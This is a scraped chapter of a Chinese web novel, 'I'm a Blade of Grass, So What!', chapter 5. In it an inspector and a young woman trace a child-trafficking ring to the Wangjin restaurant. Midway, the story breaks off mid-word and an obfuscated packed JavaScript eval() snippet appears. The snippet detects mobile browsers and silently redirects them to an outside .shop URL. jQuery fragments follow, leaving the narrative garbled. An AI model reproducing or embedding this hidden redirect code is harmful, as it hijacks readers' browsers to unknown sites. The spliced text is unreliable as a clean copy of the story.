文趣网 > 其他小说 > 我是棵草怎么了! > 5. 望津楼
    平溪城内天光微明,街巷尚浸在薄雾之中。

    马车徐徐驶来,未待停稳,云岚果断掏出银子搁在座上,错身跃下马车,大步跑走,直奔巡检司去。

    巡检司门口,周癸正恹恹坐在台阶上,双手托着下巴,头一点一点的。

    听见脚步声,他慌张睁眼,见来人是云岚,连忙起身迎去,“云姑娘,你怎么回来了?是查完了吗?”

    云岚呼吸微乱,踮起脚向里头张望,忙不迭问道:“李大人呢,他来了没!”

    周癸挠挠头,“哦”了一声,“李大人现正在义庄里呢,听说昨日,有人从河里打捞出来一具尸体,仵作先生正在验尸呢。”

    *

    义庄内,李万德一脸愁容,目光空空放在尸体上。

    他昨日在这待了一夜,现下不由得感觉眼睛一阵发酸,他微微皱眉,眨了眨眼。

    见仵作自内间走出,李万德微微抬首,神情恹恹,“怎么样?”

    仵作立于一旁,接过帕子擦了擦手,沉声道,“尸体大概在水里泡了四天,脸部发肿,五官已经扭曲,无法辨明身份。而且,身上有多处刀伤,伤口凌乱、间距不均,角度偏浅,胸口有一处非常大的创口,可能是被人重伤过后跌进河里淹死的。”

    “还有,”她顿了顿,“死者背后有深褐色的胎记,我等会将大致形状画下来,你拿去问问街坊,看看有没有知道的。”

    李万德轻叹一声,闭上眼睛,“你说这案子,跟赵阔那个会是同一个吗……”

    “不确定,”仵作将帕子搁回架上,眸光微敛,“这具尸体更像是女子动的手,赵阔那个……”

    “李大人!”一声高呼响起。

    云岚大步一迈跨进义庄,上气不接下气,粗喘几声,迫不及待开口,“我……我找到新东西了!”

    *

    “你的意思是说,”李万德微微皱起眉头,“这赵阔和洛川一个姓杨的拐卖孩童,搞人口交易?”

    “对的,”云岚果断开口,“我昨天夜里,看的那几张纸上,全是被拐孩子的信息,他们二人肯定没有钱去找地方收容那些孩子,而那些孩子又不可能才拐过来,就立马卖掉。”

    她一拍桌子,眸光微闪,“所以,有可能这赵杨二者背后另有他人。在这段交易里,他们两个负责‘货源’,背后那人负责‘收货’,那动物骨头的编号,或许就是代指某个孩子。”

    李万德轻“嘶”一声,摩挲着下巴,喃喃道,“那确实能解释赵阔暴富的原因了……”

    “这样看来,这案子,就不只是谋杀了……”他不知想到了什么,面露愁容。

    默然少顷,他猝然开口打破沉静,“待会,你和我换身衣服,一起去洛川。”

    *

    洛川城内,喧闹依旧。

    云岚一身粗布短褐,裤脚随意挽起,李万德则换了件浅绿交襟长衫,样式朴素非常。

    二人先后步下马车,对视一眼,各自转过身去,一左一右汇入沿街人流。

    长街右边,乃是云岚碰见布摊老板的方向。

    得知动物骨头的事情后,李万德打算装作求子之人,试探那所谓骨头,是否真能买出个孩子来。

    蓝灰布摊前,老者眼眸低垂,目光空空,眼睛一瞬不眨,沉默凝视着地面,发觉眼前忽然罩下一片阴影,他微抬斗笠,扬首看去。

    李万德蹲下身来,随意捡起一个骨头,双手轻转,凝神细细端详,眉头微皱,“老人家,您这骨头……卖多少价啊?”

    老者骤然举起木杖,猛敲他手腕,李万德吃痛松开,骨头“哐当”一声落地。

    他面色微愠,“老人家,您这是何意?”

    老者斜睨了他一眼,旋转棍身,重重点了点地上那张牌匾,“睁开你的眼睛看好了,不买,别碰。”

    李万德揉揉手腕,舒然一笑,“我可没说不买……我要问的是价格,您只管说,钱一定给够。”

    谁料老者却忽的收起摊子,“老子这骨头不卖,滚!”

    *

    另一边,云岚循街一路走去,终于抵至左巷附近。

    她此番前来并非为了杨有为,而是要探听赵阔的消息。

    若没记错,左巷后头就是马车车夫休憩等候的地方。

    越过拐角,果不其然,后墙根下聚着一众车夫,因着连日暑气蒸熏,不少人解开短衫布扣,大敞衣襟,袒胸露腹,随意坐在石阶上纳凉。

    其中一人手摇蒲扇,余光瞥见一女子走来,止住动作,张口道,“姑娘,我们现在休息,不接客,你要是急的话还得等一会!”

    他随意瞅瞅眼前的女子,漫不经心得了个结论:这姑娘穿的,很差。

    换作平日,要是富人家来了,他们几个车夫肯定早就舔上去抢客了。

    拉富人得赏,拉商人得银子,拉她这么个人什么都捞不到。

    眼下这日头这么毒,他才不吃这亏。

    云岚听罢,面上浮现一丝憨笑,“几位大哥,我不是要坐马车,我是想来问个人。”

    “问人?”那男子面露疑惑,摆头张望一番,“你这姑娘,来我们这问啥人啊?”

    “我是想来问问赵阔,不知道你们认不认识。”

    “赵阔?”男子身旁一穿蓝布短衫的男子猝然开口道,“我认识啊,不过妹子,你找他干嘛?”

    云岚垂眸,再抬眼,眸中竟不觉泛出一丝微红。

    她再度开口,语带悲戚,“几位叔叔,不瞒您们,我家人都死光了。我爹临别前,跟我说,他有一个兄弟在洛川,要是真走投无路了,可以去找他。”

    说完,她抬袖掩面,轻轻拭去眼泪。

    “哦呦,可怜滴娃哦……”

    云岚低头,借着袖子与胸口间的缝隙看去,方才说话的竟是一位老妇人。

    不知是何时候,这老妇人居然挪了张板凳坐在她旁边,静静听她讲这故事。

    云岚垂下袖子来,摆摆手,“没事没事……几位大哥,还有这位奶奶,你们能不能告诉我赵叔叔现在在……”

    “娃儿别怕,婆婆我知道。”老妇人温言打断,目怀慈爱,向她招了招手。

    “谢谢婆婆。”云岚走近一步,缓缓蹲在她身边,抬眉看去,“婆婆,您跟我说说吧……”

    *

    长街上,云岚得了消息,迅速起身,疾步往二人约定的会合之处走去。

    那老妇人足足说了一炷香,但确切内容不过几句:赵阔原是车夫,后离洛川三月,再归来时,她也就在望津楼后门见过他几次。

    至于他和杜户的矛盾,不过是杜户体胖,肥肉太多,被他马车颠疼之后一时气恼,狠狠罚了他一顿。其余内容则和平津街坊的供词差不多。

    赵阔平日确实为人宽和,极少惹事,大家对他的印象也都不错。

    思及此,云岚不禁嗤笑一声。

    知人知面不知心。

    人果然只有被咬到了才会提防草丛,生怕里面蹦出条蛇来。

    李万德听完后,默然喟叹一声。

    “跟我想的一样……”

    他回过头来,视线猝然与云岚对上,他忽的垂下眸子,眼中神色看不分明,“你知道望津楼吗?”

    云岚点了点头,“这两天听百姓提起过,怎么了吗?”

    他再度抬眼,神情恍惚,自袖内拿出一块白玉,轻叹一声,“这东

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790559|210372||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    西,是我方才在望津楼捡的。”

    一个时辰前。

    老者果断收摊离开,二人不欢而散。

    李万德抬头望天,见日头正居于中央。

    居然到饭点了。

    他叉腰直起身来,站在街上四处张望一番,想找个好地方养养自己的肚子。

    他已经很久没来过洛川了。

    相较于最初见到的洛川,他不由得心生感慨,现如今,这座城确实富庶了很多。

    他活了半辈子,到底是个俗人,也有虚荣心,也偶尔想高消费彰显一下自己的实力。

    于是他掂量手中银子,抬步往望津楼去了。

    望津楼不愧是望津楼。

    菜肴一上桌,李万德便不管不顾吃了起来,活像头快饿死的公猪。

    正一心吃着,他突然感觉脚掌硌到了什么东西。

    他抬起脚尖,踩了踩。

    硬的。

    难道是谁不小心掉的银子?

    他左右瞥了两眼,见没人注意,赶紧伏低身子把那硬物捡起来。

    鬼鬼祟祟放在手心后,他小心看去。

    这一看,他呼吸骤然停滞几瞬。

    那是块碎小的白玉。

    玉体泛白玉质驳杂,其内还遍布细碎石絮斑点,在众多美玉里绝对算不得一块佳料。

    但却让他忽的想通了,那群被拐的孩子究竟关在哪里。

    李万德在与布摊老者交论时,注意过其口袋里若隐若现的白石头。

    他当时没有多想,只当是这人自个留着的几块杂玉。

    眼下细节与记忆一一重合,他再没了吃饭的心思,结了账就奔往亭子来了。

    望津楼,杜户,望津楼,杜户……

    这五个字活像是在他脑中深深扎入了根,肆意生长,肆意侵蚀他的血肉,肆意吞吃掉他的脑髓,妄图将他的脑子挖掘、啃食、搅碎成一团烂泥。

    他这种小百姓,根本惹不起,也没命能惹杜户这种人啊……

    *

    “你怕了吗?”

    四个字,简简单单。

    问题答案无非两种,“是”或“不是”。

    发问的人语气平和,听不出几分波澜。

    “你要是害怕,那就我一个人去。”

    “你这小娃娃怎么老说大话,你一个人怎么去啊……”他猝然开口,心尖一阵发颤,“你不能总这样的啊,你要想想自己的家人,他们会……”

    “我没有家人,我只有师父。”云岚声音平缓,一脸坦然,“您说过,人要是犯起事来,元息根本派不上用场,那在人界,人类血脉得以维持千年又是为何。”

    “是法……”,李万德缓缓移开手掌,一双泪眼自内而出,“先祖们创造了法律,当今圣上为护百姓太平,又设立了我们巡检司……”

    “您说的没错,所以我不怕那些人,”云岚唇角微扬,眉眼舒展,“人干了坏事,理应被绳之以法。倘若人人都畏惧强权,不敢以身言法,那百姓的安宁又由谁来庇护,天下又如何太平。”

    李万德久久沉默,半晌,才慢慢开口,低声呢喃道,“……是我愧对巡检司一职。”

    云岚在一旁静静坐着,视线乍然与他对上。

    李万德猛地擦掉眼泪,咧开嘴角,“我四十岁的人了,居然让你这小娃娃看了笑话。”

    “你说的对,我们不能怕。”

    他将白玉重新揣回兜里,深深吸了一口气。

    这气虚渺如烟,但自肺腑过了一遍,竟叫他浑身舒展,胸中翻涌起几分血气来。

    李万德敛定心神,正色开口。

    “明日,你我就去会会这望津楼!”